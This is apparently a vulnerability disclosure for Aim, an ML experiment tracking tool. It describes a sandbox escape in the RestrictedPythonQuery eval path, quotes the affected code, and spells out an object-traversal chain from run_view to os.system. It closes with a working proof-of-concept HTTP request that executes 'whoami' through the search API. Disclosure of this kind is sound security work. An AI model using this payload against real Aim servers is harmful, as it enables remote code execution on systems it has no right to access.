Aim is an open-source, lightweight, and performant experiment tracking tool for machine learning (ML) projects. It helps track, compare, and visualize AI model training runs and metadata.
However, a critical vulnerability was identified that allows an attacker to escape the intended Python sandbox and achieve remote code execution (RCE). By leveraging the unsanitized run_view object passed into the sandbox environment as part of the local namespace, attackers can execute arbitrary system commands through the exposed web API.
The vulnerable code stems from RestrictedPythonQuery class, which is responsible for creating a restricted python sandbox environment and securely executing user-provided query expressions. However, an unsanitized object, run_view, is passed in as part of local namespace in sequence collection runners, unintentionally exposing dangerous internal objects.
Take QueryRunSequenceCollection for example:
# https://github.com/aimhubio/aim/blob/main/aim/sdk/sequence_collection.py
class QueryRunSequenceCollection(SequenceCollection):
...
def iter_runs(self) -> Iterator['SequenceCollection']:
""""""
...
for run in runs_iterator:
run_view = RunView(run, timezone_offset=self._timezone_offset)
match = self.query.check(run=run_view)
...In this logic, the self.query.check function invocation is used to activiate the code running in the sandbox, where a run_view passed in as local namespace.
- A run_view object is instantiated for each run.
- The run_view is passed into the sandbox as a local variable during the self.query.check() evaluation.
which further passed in as the third parameter of eval invocation in the sandbox.
# https://github.com/aimhubio/aim/blob/9ee40a256d40d9aa2361529444f525a9b6b33a8a/aim/storage/query.py#L160
class RestrictedPythonQuery(Query):
...
def __init__(self, query: str):
stripped_query = strip_query(query)
expr = query_add_default_expr(stripped_query)
super().__init__(expr=expr)
self._checker = compile_checker(expr)
self.run_metadata_cache = None
...
def check(self, **params) -> bool:
# prevent possible messing with globals
assert set(params.keys()).issubset(self.allowed_params)
# TODO enforce immutable
try:
namespace = dict(**params, **restricted_globals)
return eval(self._checker, restricted_globals, namespace)
...Here, eval() is invoked with: - restricted_globals as the globals. - namespace (including run_view) as the locals.
Since run_view is a complex object giving access to the internal database session, it is possible to traverse the object graph and reach dangerous modules like sys and os, leading to sandbox escape.
The vulnerable sequence collection runners can be remotely triggered via API endpoints:
/api/runs/search/metric//api/runs/search/run
where parameter q accepts user-supplied query expressions evaluated inside the sandbox.
An attacker can exploit the chain by:
- Traversing the run_view object to access sys through:
run_view.run.db.runs().session.bind.dialect.dbapi.datetime.sys
- Using sys.modules["os"].system(COMMAND) to execute arbitrary OS commands.
Here is a PoC exploit via /api/runs/search/run:
GET /api/runs/search/run?limit=25&exclude_params=true&exclude_traces=true&q=run.db.runs().session.bind.dialect.dbapi.datetime.sys.modules["os"].system('whoami')+or+'run.archived' HTTP/1.1
Host: proof-of-concept:43800
Connection: keep-alive
